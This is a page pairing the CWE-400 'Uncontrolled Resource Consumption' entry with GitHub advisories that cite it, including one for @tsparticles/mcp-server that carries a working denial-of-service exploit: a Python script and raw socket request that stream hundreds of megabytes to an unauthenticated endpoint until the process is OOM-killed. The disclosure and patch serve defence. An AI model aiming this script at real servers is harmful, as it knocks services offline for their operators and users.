CWE-400
Weakness DiscouragedUncontrolled Resource Consumption
Abstraction: Class · Status: Draft
The product does not properly control the allocation and maintenance of a limited resource.
Dimensions
- Behavior-Property: Uncontrolled
- Behavior-Type: Consumption
- Resource-Type: Resource
Mapping guidance
CWE-400 is intended for incorrect behaviors in which the product is expected to track and restrict how many resources it consumes, but CWE-400 is often misused because it is conflated with the "technical impact" of vulnerabilities in which resource consumption occurs. It is sometimes used for low-information vulnerability reports. It is a level-1 Class (i.e., a child of a Pillar).
Closely analyze the specific mistake that is causing resource consumption, and perform a CWE mapping for that mistake. Consider children/descendants.
Modes of introduction
The product could be operated in a system or environment with lower resource limits than expected, which might make it easier for attackers to consume all available resources.
The product could be configured with lower resource limits than expected, which might make it easier for attackers to consume all available resources.
The designer might not consider how to handle and throttle excessive resource requests, which typically requires careful planning to handle more gracefully than a crash or exit.
There are at least three distinct scenarios that can commonly lead to resource exhaustion:
Lack of throttling for the number of allocated resources.
Losing all references to a resource before reaching the shutdown stage.
Not closing/returning a resource after processing.
Resource exhaustion problems often occur due to an incorrect implementation of the following situations:
Error conditions and other exceptional circumstances.
Confusion over which part of the program is responsible for releasing the resource.
Detection methods
Automated Static Analysis
Automated static analysis typically has limited utility in recognizing resource exhaustion problems, except for program-independent system resources such as files, sockets, and processes. For system resources, automated static analysis may be able to detect circumstances in which resources are not released after they have expired. Automated analysis of configuration files may be able to detect settings that do not specify a maximum value.
Automated static analysis tools will not be appropriate for detecting exhaustion of custom resources, such as an intended security policy in which a bulletin board user is only allowed to make a limited number of posts per day.
Effectiveness: Limited
Automated Dynamic Analysis
Certain automated dynamic analysis techniques may be effective in spotting resource exhaustion problems, especially with resources such as processes, memory, and connections. The technique may involve generating a large number of requests to the product within a short time frame.
Effectiveness: Moderate
Fuzzing
While fuzzing is typically geared toward finding low-level implementation bugs, it can inadvertently find resource exhaustion problems. This can occur when the fuzzer generates a large number of test cases but does not restart the targeted product in between test cases. If an individual test case produces a crash, but it does not do so reliably, then an inability to handle resource exhaustion may be the cause.
Effectiveness: Opportunistic
Notes
Theoretical
Vulnerability theory is largely about how behaviors and resources interact. "Resource exhaustion" can be regarded as either a consequence or an attack, depending on the perspective. This entry is an attempt to reflect the underlying weaknesses that enable these attacks (or consequences) to take place.
Other
Database queries that take a long time to process are good DoS targets. An attacker would have to write a few lines of code to generate enough traffic to exceed the site's ability to keep up. This would effectively prevent authorized users from using the site at all. Resources can be exploited simply by ensuring that the target machine must do much more work and consume more resources in order to service a request than the attacker must do to initiate a request.
A prime example of this can be found in old switches that were vulnerable to "macof" attacks (so named for a tool developed by Dugsong). These attacks flooded a switch with random IP and MAC address combinations, therefore exhausting the switch's cache, which held the information of which port corresponded to which MAC addresses. Once this cache was exhausted, the switch would fail in an insecure way and would begin to act simply as a hub, broadcasting all traffic on all ports and allowing for basic sniffing attacks.
Limited resources include memory, file system storage, database connection pool entries, CPU, and others.
Content history
Suggested mappings to ISA/IEC 62443.
Suggested mappings to ISA/IEC 62443.
Provided diagram to improve CWE usability.
updated Time_of_Introduction
Suggested OWASP Top Ten 2004 mapping
updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
updated Description, Name, Relationships
updated Description
updated Name, Relationships
updated Description, Relationships
updated Relationships
updated Common_Consequences, Demonstrative_Examples, Detection_Factors, Likelihood_of_Exploit, Observed_Examples, Other_Notes, Potential_Mitigations, References
updated Detection_Factors, Potential_Mitigations, References, Taxonomy_Mappings
updated Related_Attack_Patterns
updated Description
updated Demonstrative_Examples
updated Common_Consequences, Relationships, Taxonomy_Mappings
updated Demonstrative_Examples, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
updated Relationships
updated Relationships, Taxonomy_Mappings
updated Related_Attack_Patterns, Relationships
updated Relationships
updated Applicable_Platforms, Demonstrative_Examples, Likelihood_of_Exploit, Potential_Mitigations, References, Relationships
updated References, Type
updated Alternate_Terms, Description, Name, Relationships, Taxonomy_Mappings, Theoretical_Notes
updated Related_Attack_Patterns, Relationships
updated Description, Relationships
updated Description, References, Related_Attack_Patterns, Relationships
updated Description, Maintenance_Notes
updated Relationships
updated Related_Attack_Patterns
updated Observed_Examples, Relationships
updated Observed_Examples, Relationships
updated Common_Consequences, Description, Detection_Factors, Maintenance_Notes, Related_Attack_Patterns, Taxonomy_Mappings
updated Demonstrative_Examples, Relationships, Taxonomy_Mappings
updated Mapping_Notes, Relationships
updated Relationships
updated Common_Consequences, Description, Diagram, Modes_of_Introduction, Other_Notes, Time_of_Introduction
updated Observed_Examples, References
updated Applicable_Platforms, Maintenance_Notes, Weakness_Ordinalities
updated Applicable_Platforms, Maintenance_Notes, Mapping_Notes, Other_Notes
updated Applicable_Platforms, Dimensions, References, Relationships, Taxonomy_Mappings
7207 vulnerabilities reference this CWE, most recent first.
GHSA-4457-RX56-P82R
Vulnerability from github – Published: 2022-05-24 17:44 – Updated: 2022-05-24 17:44Tor before 0.4.5.7 allows a remote participant in the Tor directory protocol to exhaust CPU resources on a target, aka TROVE-2021-001.
{
"affected": [],
"aliases": [
"CVE-2021-28089"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-03-19T05:15:00Z",
"severity": "HIGH"
},
"details": "Tor before 0.4.5.7 allows a remote participant in the Tor directory protocol to exhaust CPU resources on a target, aka TROVE-2021-001.",
"id": "GHSA-4457-rx56-p82r",
"modified": "2022-05-24T17:44:56Z",
"published": "2022-05-24T17:44:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-28089"
},
{
"type": "WEB",
"url": "https://blog.torproject.org/node/2009"
},
{
"type": "WEB",
"url": "https://gitlab.torproject.org/tpo/core/tor/-/issues/40304"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/HPDXB2GZHG3VNOTWSXQ3QZVHNV76WCU5"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202107-25"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4463-879Q-57JX
Vulnerability from github – Published: 2022-05-24 19:04 – Updated: 2022-10-26 12:00An integer overflow leading to a heap-buffer overflow was found in the DwaCompressor of OpenEXR in versions before 3.0.1. An attacker could use this flaw to crash an application compiled with OpenEXR.
{
"affected": [],
"aliases": [
"CVE-2021-23215"
],
"database_specific": {
"cwe_ids": [
"CWE-190",
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-06-08T12:15:00Z",
"severity": "MODERATE"
},
"details": "An integer overflow leading to a heap-buffer overflow was found in the DwaCompressor of OpenEXR in versions before 3.0.1. An attacker could use this flaw to crash an application compiled with OpenEXR.",
"id": "GHSA-4463-879q-57jx",
"modified": "2022-10-26T12:00:32Z",
"published": "2022-05-24T19:04:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23215"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=1947586"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2021/07/msg00001.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2022/12/msg00022.html"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BXFLD4ZAXKAIWO6ZPBCQEEDZB5IG676K"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2022/dsa-5299"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-446M-MV8F-Q348
Vulnerability from github – Published: 2018-03-05 18:35 – Updated: 2021-08-31 21:44Affected versions of moment are vulnerable to a low severity regular expression denial of service when parsing dates as strings.
Recommendation
Update to version 2.19.3 or later.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "moment"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.19.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2017-18214"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-16T20:57:13Z",
"nvd_published_at": "2018-03-04T21:29:00Z",
"severity": "HIGH"
},
"details": "Affected versions of `moment` are vulnerable to a low severity regular expression denial of service when parsing dates as strings.\n\n\n## Recommendation\n\nUpdate to version 2.19.3 or later.",
"id": "GHSA-446m-mv8f-q348",
"modified": "2021-08-31T21:44:15Z",
"published": "2018-03-05T18:35:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-18214"
},
{
"type": "WEB",
"url": "https://github.com/moment/moment/issues/4163"
},
{
"type": "WEB",
"url": "https://github.com/moment/moment/pull/4326"
},
{
"type": "WEB",
"url": "https://github.com/moment/moment/commit/69ed9d44957fa6ab12b73d2ae29d286a857b80eb"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-446m-mv8f-q348"
},
{
"type": "PACKAGE",
"url": "https://github.com/moment/moment"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/advisories/532"
},
{
"type": "WEB",
"url": "https://www.tenable.com/security/tns-2019-02"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Regular Expression Denial of Service in moment"
}
GHSA-447X-QQWF-M7XQ
Vulnerability from github – Published: 2026-11-09 21:10 – Updated: 2026-11-09 21:10Summary
The HTTP server mode of @tsparticles/mcp-server accumulates all incoming request body chunks into an in-memory Buffer[] array with no size limit before calling JSON.parse. An unauthenticated remote attacker can stream an arbitrarily large body to POST /mcp, exhausting the Node.js process memory and causing a Denial of Service. The official Docker image ships with HTTP mode enabled by default (--port 3000 on 0.0.0.0), making this exploitable without any special configuration in containerized deployments.
Details
The vulnerability exists in integrations/mcp-server/src/index.ts at lines 399–407. The POST /mcp request handler resolves a Promise that pushes every incoming data chunk into a Buffer[] array without checking the cumulative size, a Content-Length header, or any other guard:
// integrations/mcp-server/src/index.ts:399-407
if (req.method === "POST" && req.url === "/mcp") {
const body = await new Promise<string>((resolve, reject) => {
const chunks: Buffer[] = [];
req.on("data", (chunk) => chunks.push(Buffer.from(chunk))); // no size guard
req.on("end", () => resolve(Buffer.concat(chunks).toString("utf8")));
req.on("error", reject);
});
const parsedBody = body ? JSON.parse(body) : undefined;
The complete data flow leading to exploitation:
index.ts:390— HTTP server is created.index.ts:399—POST /mcpbranch is entered; no authentication is performed.index.ts:401-403— Every chunk is appended tochunks[]without any byte-count check.index.ts:407— The concatenated buffer is passed toJSON.parse.index.ts:416— The server listens on0.0.0.0, exposing it on all network interfaces.
There is no Content-Length validation, no body-size middleware, and no 413 Payload Too Large response in the server source. The official Dockerfile (integrations/mcp-server/Dockerfile) sets CMD ["node", "dist/index.js", "--port", "3000"], meaning Docker deployments run in HTTP mode by default without any additional opt-in.
A suggested patch would be to track cumulative received bytes and destroy the request once a threshold (e.g., 1 MB) is exceeded:
--- a/integrations/mcp-server/src/index.ts
+++ b/integrations/mcp-server/src/index.ts
@@
import { createServer } from "node:http";
import { randomUUID } from "node:crypto";
const PACKAGE_VERSION = "0.1.0";
+const maxRequestBodyBytes = 1024 * 1024;
@@
if (req.method === "POST" && req.url === "/mcp") {
const body = await new Promise<string>((resolve, reject) => {
const chunks: Buffer[] = [];
- req.on("data", (chunk) => chunks.push(Buffer.from(chunk)));
+ let received = 0;
+ req.on("data", (chunk) => {
+ received += chunk.length;
+ if (received > maxRequestBodyBytes) {
+ req.destroy(new Error("Request body too large"));
+ return;
+ }
+ chunks.push(Buffer.from(chunk));
+ });
req.on("end", () => resolve(Buffer.concat(chunks).toString("utf8")));
req.on("error", reject);
});
PoC
Environment setup:
# Build the Docker image from the repository root
docker build \
-f /path/to/vuln-001/Dockerfile \
-t vuln001-mcp \
/path/to/tsparticles-repo
# Run with a 256 MB memory cap (matching the dynamic reproduction)
docker run -d \
-p 127.0.0.1:3000:3000 \
--memory=256m --memory-swap=256m \
--name vuln001-mcp \
vuln001-mcp
Exploit (Python PoC — poc.py):
The script uses chunked transfer encoding so only O(1 MB) of Python-side memory is needed, while the Node.js process accumulates every received chunk in its Buffer[] array.
python3 poc.py --host 127.0.0.1 --port 3000 --mb 300 --container vuln001-mcp
Equivalent minimal request:
import socket
s = socket.create_connection(("127.0.0.1", 3000))
headers = (
"POST /mcp HTTP/1.1\r\n"
"Host: 127.0.0.1:3000\r\n"
"Content-Type: application/json\r\n"
"Transfer-Encoding: chunked\r\n"
"Connection: close\r\n\r\n"
).encode()
s.sendall(headers)
prefix = b'{"jsonrpc":"2.0","id":1,"method":"tools/list","params":"'
s.sendall(f"{len(prefix):x}\r\n".encode() + prefix + b"\r\n")
chunk = b"A" * (1024 * 1024) # 1 MB per write
for _ in range(300): # stream 300 MB total
s.sendall(f"{len(chunk):x}\r\n".encode() + chunk + b"\r\n")
Expected result:
- Baseline memory usage: ~24.9 MiB / 256 MiB.
- After ~209 MB received, the server-side
BrokenPipeErroroccurs as Docker's OOM-killer terminates the process. docker inspect vuln001-mcpshowsState.OOMKilled = trueandState.Status = exited.
Dynamic reproduction confirmed: OOMKilled=true was observed during Phase 2 testing with a 300 MB stream against a container limited to 256 MB.
Impact
An unauthenticated remote attacker who can reach the POST /mcp HTTP endpoint can cause the Node.js server process to consume unbounded memory, leading to process termination (OOM kill) and complete service unavailability. No credentials or prior access are required.
In the default Docker deployment (CMD ["node", "dist/index.js", "--port", "3000"]), the server binds to 0.0.0.0:3000, making it reachable from any network interface without configuration changes. Any operator running the official Docker image is exposed by default.
The vulnerability is a Denial of Service (DoS) — confidentiality and integrity are not directly affected. Recovery requires restarting the container.
Reproduction artifacts
Dockerfile
# VULN-001: Unbounded HTTP Request Body Buffering in @tsparticles/mcp-server
# Build context must be the repository root so COPY paths resolve correctly.
# Build: docker build -f vuln-001/Dockerfile -t vuln001-mcp .
# Run: docker run -d -p 127.0.0.1:3000:3000 \
# --memory=256m --memory-swap=256m \
# --name vuln001-mcp vuln001-mcp
# --- Stage 1: compile TypeScript ---
FROM node:22-alpine AS build
WORKDIR /build
# Copy only the mcp-server package (avoids pulling the entire monorepo)
COPY integrations/mcp-server/package.json ./package.json
COPY integrations/mcp-server/tsconfig.json ./tsconfig.json
COPY integrations/mcp-server/src/ ./src/
# Install all deps (devDeps needed for TypeScript compiler)
RUN npm install --no-audit --no-fund
# Compile TypeScript -> dist/
RUN npx tsc
# --- Stage 2: minimal runtime image ---
FROM node:22-alpine
WORKDIR /app
# Copy compiled JS and production node_modules
COPY --from=build /build/dist ./dist
COPY --from=build /build/node_modules ./node_modules
EXPOSE 3000
# Start HTTP mode on port 3000 — identical to the official Dockerfile CMD.
# No --max-old-space-size flag; memory cap is enforced by Docker --memory at run time.
CMD ["node", "dist/index.js", "--port", "3000"]
poc.py
#!/usr/bin/env python3
"""
PoC for VULN-001: Unbounded HTTP Request Body Buffering in @tsparticles/mcp-server
Repository : tsparticles/tsparticles
Version : 4.3.0 (commit eb2d299)
CWE : CWE-400 — Uncontrolled Resource Consumption
CVSS : 7.5 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
File : integrations/mcp-server/src/index.ts:399-407
Vulnerability:
The POST /mcp handler resolves a Promise that accumulates every data chunk
into a Buffer[] array without any Content-Length or size guard, then calls
Buffer.concat() and JSON.parse() on the full body. An unauthenticated
remote attacker can exhaust the server's memory by streaming an arbitrarily
large body.
Source (index.ts:399-407):
if (req.method === "POST" && req.url === "/mcp") {
const body = await new Promise<string>((resolve, reject) => {
const chunks: Buffer[] = [];
req.on("data", (chunk) => chunks.push(Buffer.from(chunk))); // no guard
req.on("end", () => resolve(Buffer.concat(chunks).toString("utf8")));
req.on("error", reject);
});
const parsedBody = body ? JSON.parse(body) : undefined;
Exploit strategy:
Stream a large body via chunked transfer encoding so the Python process
itself needs only O(chunk) memory. The Node.js server accumulates every
chunk in its Buffer array. With a Docker memory cap of 256 MB the container
is OOM-killed once the buffered data exceeds available RAM, producing
OOMKilled=true — an unambiguous, observable indicator.
Usage:
python3 poc.py [--host 127.0.0.1] [--port 3000]
[--mb 300] [--container vuln001-mcp]
"""
import argparse
import socket
import subprocess
import sys
import time
# ---------------------------------------------------------------------------
# Helpers
# ---------------------------------------------------------------------------
def parse_args():
p = argparse.ArgumentParser(description="VULN-001 PoC — unbounded body buffering")
p.add_argument("--host", default="127.0.0.1", help="Server host")
p.add_argument("--port", type=int, default=3000, help="Server port")
p.add_argument("--mb", type=int, default=300, help="Payload size in MB")
p.add_argument("--container", default="vuln001-mcp", help="Docker container name")
return p.parse_args()
def wait_for_server(host: str, port: int, timeout: int = 60) -> bool:
"""Poll TCP until the server accepts connections or timeout expires."""
deadline = time.time() + timeout
print(f"[*] Waiting for server at {host}:{port} (timeout={timeout}s) ...", flush=True)
while time.time() < deadline:
try:
s = socket.create_connection((host, port), timeout=1)
s.close()
print("[+] Server is ready", flush=True)
return True
except OSError:
time.sleep(0.5)
print("[-] Timed out waiting for server")
return False
def container_info(name: str) -> tuple[str, str, str]:
"""Return (status, mem_usage, oom_killed) strings for a Docker container."""
status, oom = "unknown", "unknown"
try:
r = subprocess.run(
["docker", "inspect", "--format",
"{{.State.Status}}|{{.State.OOMKilled}}", name],
capture_output=True, text=True, timeout=5,
)
if r.returncode == 0:
parts = r.stdout.strip().split("|")
status = parts[0] if len(parts) > 0 else "unknown"
oom = parts[1] if len(parts) > 1 else "unknown"
except Exception as exc:
status = f"error({exc})"
mem = "N/A"
try:
r2 = subprocess.run(
["docker", "stats", "--no-stream", "--format", "{{.MemUsage}}", name],
capture_output=True, text=True, timeout=5,
)
mem = r2.stdout.strip() or "N/A"
except Exception:
pass
return status, mem, oom
# ---------------------------------------------------------------------------
# Core exploit
# ---------------------------------------------------------------------------
def stream_large_body(host: str, port: int, total_mb: int) -> tuple[bool, int, bytes]:
"""
Open a single TCP connection and stream a large body using chunked TE.
Using chunked transfer encoding keeps this Python process's memory usage
at O(1-MB chunk) while forcing the Node.js server to accumulate every
received chunk in its Buffer[] array — the vulnerable code path.
Returns:
server_closed — True if the server reset the connection mid-stream
bytes_sent — total body bytes sent
response — first bytes of the HTTP response (may be empty)
"""
s = socket.create_connection((host, port))
headers = (
f"POST /mcp HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
f"Content-Type: application/json\r\n"
f"Transfer-Encoding: chunked\r\n"
f"Connection: close\r\n"
f"\r\n"
).encode()
s.sendall(headers)
def send_chunk(data: bytes) -> None:
s.sendall(f"{len(data):x}\r\n".encode() + data + b"\r\n")
# Begin a JSON body prefix (the server buffers everything before parsing)
prefix = b'{"jsonrpc":"2.0","id":1,"method":"tools/list","params":"'
send_chunk(prefix)
bytes_sent = len(prefix)
chunk_size = 1024 * 1024 # 1 MB per TCP write
filler = b"A" * chunk_size
target = total_mb * 1024 * 1024
server_closed = False
while bytes_sent < target:
remaining = target - bytes_sent
chunk = filler[: min(chunk_size, remaining)]
try:
send_chunk(chunk)
bytes_sent += len(chunk)
mb_done = bytes_sent // (1024 * 1024)
if mb_done % 50 == 0:
print(f"[*] {mb_done}/{total_mb} MB streamed ...", flush=True)
except (BrokenPipeError, ConnectionResetError, OSError) as exc:
print(f"[!] Connection reset after {bytes_sent // (1024 * 1024)} MB: {exc}",
flush=True)
server_closed = True
break
if not server_closed:
try:
send_chunk(b'"}')
s.sendall(b"0\r\n\r\n") # final (empty) chunk = end of chunked body
except OSError:
server_closed = True
response = b""
if not server_closed:
s.settimeout(5)
try:
response = s.recv(4096)
except OSError:
pass
try:
s.close()
except OSError:
pass
return server_closed, bytes_sent, response
# ---------------------------------------------------------------------------
# Main
# ---------------------------------------------------------------------------
def main() -> bool:
args = parse_args()
print("=" * 65)
print("VULN-001 — Unbounded HTTP Body Buffering in @tsparticles/mcp-server")
print(f"Target : http://{args.host}:{args.port}/mcp (no auth)")
print(f"Payload : {args.mb} MB (no Content-Length or body-size guard)")
print(f"Monitor : Docker container '{args.container}'")
print("=" * 65)
if not wait_for_server(args.host, args.port):
print("[FAIL] Server did not become available")
return False
# --- baseline ---
status_before, mem_before, _ = container_info(args.container)
print(f"\n[*] Baseline status={status_before} memory={mem_before}")
# --- exploit ---
print(f"\n[*] Streaming {args.mb} MB body to POST /mcp ...", flush=True)
t0 = time.time()
server_closed, bytes_sent, response = stream_large_body(
args.host, args.port, args.mb
)
elapsed = time.time() - t0
time.sleep(2) # allow Docker stats to refresh
status_after, mem_after, oom_killed = container_info(args.container)
print(f"\n[*] Transfer : {bytes_sent // (1024 * 1024)} MB in {elapsed:.1f} s")
print(f"[*] Server closed : {server_closed}")
print(f"[*] HTTP response : {response[:200]!r}")
print(f"[*] Container : status={status_after} OOMKilled={oom_killed}")
print(f"[*] Memory before : {mem_before}")
print(f"[*] Memory after : {mem_after}")
# --- verdict ---
if oom_killed == "true":
print("\n[PASS] OOMKilled=true — Docker OOM-killed the container")
print(" The Node.js process was killed because it buffered the full")
print(" request body in memory (no size guard in POST /mcp handler).")
return True
if status_after in ("exited", "dead"):
print(f"\n[PASS] Container exited (status={status_after}) after receiving"
f" {bytes_sent // (1024 * 1024)} MB body — memory exhaustion confirmed")
return True
if not server_closed and status_after == "running":
print(f"\n[PASS] {args.mb} MB body fully accepted — no size limit enforced")
print(f" Memory before: {mem_before} | after: {mem_after}")
print(" CWE-400 confirmed: unbounded buffering without authentication")
return True
if server_closed:
print(f"\n[PARTIAL] Connection reset after {bytes_sent // (1024 * 1024)} MB")
print(" Server may have crashed internally; check docker logs.")
# Still consider PASS if container is dead
if status_after not in ("running",):
return True
return False
print("\n[INCONCLUSIVE] Unexpected outcome — inspect container logs manually")
return False
if __name__ == "__main__":
ok = main()
sys.exit(0 if ok else 1)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@tsparticles/mcp-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.3.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-63655"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-11-09T21:10:46Z",
"nvd_published_at": "2026-11-04T22:18:07Z",
"severity": "HIGH"
},
"details": "### Summary\n\nThe HTTP server mode of `@tsparticles/mcp-server` accumulates all incoming request body chunks into an in-memory `Buffer[]` array with no size limit before calling `JSON.parse`. An unauthenticated remote attacker can stream an arbitrarily large body to `POST /mcp`, exhausting the Node.js process memory and causing a Denial of Service. The official Docker image ships with HTTP mode enabled by default (`--port 3000` on `0.0.0.0`), making this exploitable without any special configuration in containerized deployments.\n\n### Details\n\nThe vulnerability exists in `integrations/mcp-server/src/index.ts` at lines 399\u2013407. The `POST /mcp` request handler resolves a `Promise` that pushes every incoming data chunk into a `Buffer[]` array without checking the cumulative size, a `Content-Length` header, or any other guard:\n\n```ts\n// integrations/mcp-server/src/index.ts:399-407\nif (req.method === \"POST\" \u0026\u0026 req.url === \"/mcp\") {\n const body = await new Promise\u003cstring\u003e((resolve, reject) =\u003e {\n const chunks: Buffer[] = [];\n req.on(\"data\", (chunk) =\u003e chunks.push(Buffer.from(chunk))); // no size guard\n req.on(\"end\", () =\u003e resolve(Buffer.concat(chunks).toString(\"utf8\")));\n req.on(\"error\", reject);\n });\n\n const parsedBody = body ? JSON.parse(body) : undefined;\n```\n\nThe complete data flow leading to exploitation:\n\n1. `index.ts:390` \u2014 HTTP server is created.\n2. `index.ts:399` \u2014 `POST /mcp` branch is entered; no authentication is performed.\n3. `index.ts:401-403` \u2014 Every chunk is appended to `chunks[]` without any byte-count check.\n4. `index.ts:407` \u2014 The concatenated buffer is passed to `JSON.parse`.\n5. `index.ts:416` \u2014 The server listens on `0.0.0.0`, exposing it on all network interfaces.\n\nThere is no `Content-Length` validation, no body-size middleware, and no `413 Payload Too Large` response in the server source. The official `Dockerfile` (`integrations/mcp-server/Dockerfile`) sets `CMD [\"node\", \"dist/index.js\", \"--port\", \"3000\"]`, meaning Docker deployments run in HTTP mode by default without any additional opt-in.\n\nA suggested patch would be to track cumulative received bytes and destroy the request once a threshold (e.g., 1 MB) is exceeded:\n\n```diff\n--- a/integrations/mcp-server/src/index.ts\n+++ b/integrations/mcp-server/src/index.ts\n@@\n import { createServer } from \"node:http\";\n import { randomUUID } from \"node:crypto\";\n\n const PACKAGE_VERSION = \"0.1.0\";\n+const maxRequestBodyBytes = 1024 * 1024;\n@@\n if (req.method === \"POST\" \u0026\u0026 req.url === \"/mcp\") {\n const body = await new Promise\u003cstring\u003e((resolve, reject) =\u003e {\n const chunks: Buffer[] = [];\n- req.on(\"data\", (chunk) =\u003e chunks.push(Buffer.from(chunk)));\n+ let received = 0;\n+ req.on(\"data\", (chunk) =\u003e {\n+ received += chunk.length;\n+ if (received \u003e maxRequestBodyBytes) {\n+ req.destroy(new Error(\"Request body too large\"));\n+ return;\n+ }\n+ chunks.push(Buffer.from(chunk));\n+ });\n req.on(\"end\", () =\u003e resolve(Buffer.concat(chunks).toString(\"utf8\")));\n req.on(\"error\", reject);\n });\n```\n\n### PoC\n\n**Environment setup:**\n\n```bash\n# Build the Docker image from the repository root\ndocker build \\\n -f /path/to/vuln-001/Dockerfile \\\n -t vuln001-mcp \\\n /path/to/tsparticles-repo\n\n# Run with a 256 MB memory cap (matching the dynamic reproduction)\ndocker run -d \\\n -p 127.0.0.1:3000:3000 \\\n --memory=256m --memory-swap=256m \\\n --name vuln001-mcp \\\n vuln001-mcp\n```\n\n**Exploit (Python PoC \u2014 `poc.py`):**\n\nThe script uses chunked transfer encoding so only O(1 MB) of Python-side memory is needed, while the Node.js process accumulates every received chunk in its `Buffer[]` array.\n\n```bash\npython3 poc.py --host 127.0.0.1 --port 3000 --mb 300 --container vuln001-mcp\n```\n\nEquivalent minimal request:\n\n```python\nimport socket\n\ns = socket.create_connection((\"127.0.0.1\", 3000))\nheaders = (\n \"POST /mcp HTTP/1.1\\r\\n\"\n \"Host: 127.0.0.1:3000\\r\\n\"\n \"Content-Type: application/json\\r\\n\"\n \"Transfer-Encoding: chunked\\r\\n\"\n \"Connection: close\\r\\n\\r\\n\"\n).encode()\ns.sendall(headers)\n\nprefix = b\u0027{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"tools/list\",\"params\":\"\u0027\ns.sendall(f\"{len(prefix):x}\\r\\n\".encode() + prefix + b\"\\r\\n\")\n\nchunk = b\"A\" * (1024 * 1024) # 1 MB per write\nfor _ in range(300): # stream 300 MB total\n s.sendall(f\"{len(chunk):x}\\r\\n\".encode() + chunk + b\"\\r\\n\")\n```\n\n**Expected result:**\n\n- Baseline memory usage: ~24.9 MiB / 256 MiB.\n- After ~209 MB received, the server-side `BrokenPipeError` occurs as Docker\u0027s OOM-killer terminates the process.\n- `docker inspect vuln001-mcp` shows `State.OOMKilled = true` and `State.Status = exited`.\n\n**Dynamic reproduction confirmed:** OOMKilled=true was observed during Phase 2 testing with a 300 MB stream against a container limited to 256 MB.\n\n### Impact\n\nAn unauthenticated remote attacker who can reach the `POST /mcp` HTTP endpoint can cause the Node.js server process to consume unbounded memory, leading to process termination (OOM kill) and complete service unavailability. No credentials or prior access are required.\n\nIn the default Docker deployment (`CMD [\"node\", \"dist/index.js\", \"--port\", \"3000\"]`), the server binds to `0.0.0.0:3000`, making it reachable from any network interface without configuration changes. Any operator running the official Docker image is exposed by default.\n\nThe vulnerability is a Denial of Service (DoS) \u2014 confidentiality and integrity are not directly affected. Recovery requires restarting the container.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001: Unbounded HTTP Request Body Buffering in @tsparticles/mcp-server\n# Build context must be the repository root so COPY paths resolve correctly.\n# Build: docker build -f vuln-001/Dockerfile -t vuln001-mcp .\n# Run: docker run -d -p 127.0.0.1:3000:3000 \\\n# --memory=256m --memory-swap=256m \\\n# --name vuln001-mcp vuln001-mcp\n\n# --- Stage 1: compile TypeScript ---\nFROM node:22-alpine AS build\n\nWORKDIR /build\n\n# Copy only the mcp-server package (avoids pulling the entire monorepo)\nCOPY integrations/mcp-server/package.json ./package.json\nCOPY integrations/mcp-server/tsconfig.json ./tsconfig.json\nCOPY integrations/mcp-server/src/ ./src/\n\n# Install all deps (devDeps needed for TypeScript compiler)\nRUN npm install --no-audit --no-fund\n\n# Compile TypeScript -\u003e dist/\nRUN npx tsc\n\n# --- Stage 2: minimal runtime image ---\nFROM node:22-alpine\n\nWORKDIR /app\n\n# Copy compiled JS and production node_modules\nCOPY --from=build /build/dist ./dist\nCOPY --from=build /build/node_modules ./node_modules\n\nEXPOSE 3000\n\n# Start HTTP mode on port 3000 \u2014 identical to the official Dockerfile CMD.\n# No --max-old-space-size flag; memory cap is enforced by Docker --memory at run time.\nCMD [\"node\", \"dist/index.js\", \"--port\", \"3000\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: Unbounded HTTP Request Body Buffering in @tsparticles/mcp-server\nRepository : tsparticles/tsparticles\nVersion : 4.3.0 (commit eb2d299)\nCWE : CWE-400 \u2014 Uncontrolled Resource Consumption\nCVSS : 7.5 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)\nFile : 